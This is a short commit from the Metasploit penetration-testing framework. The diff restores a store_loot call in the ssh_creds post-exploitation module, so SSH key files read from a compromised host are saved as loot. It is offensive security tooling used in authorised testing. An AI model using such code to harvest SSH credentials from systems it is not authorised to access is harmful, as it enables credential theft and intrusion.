Fix rapid7#5134, Put store_loot back

Fix rapid7#5134

store_loot was used at one point, but we ended up removing it.
Turns out store_loot is handy in some cases so we're brining it back.

Author: wchen-r7

modules/post/multi/gather/ssh_creds.rb

@@ -61,7 +61,8 @@ def download_loot(paths)
         data = read_file("#{path}#{sep}#{file}")
         file = file.split(sep).last
 
-        print_good("Downloaded #{path}#{sep}#{file}")
+        loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
+        print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
 
         begin
           key = SSHKey.new(data, :passphrase => "")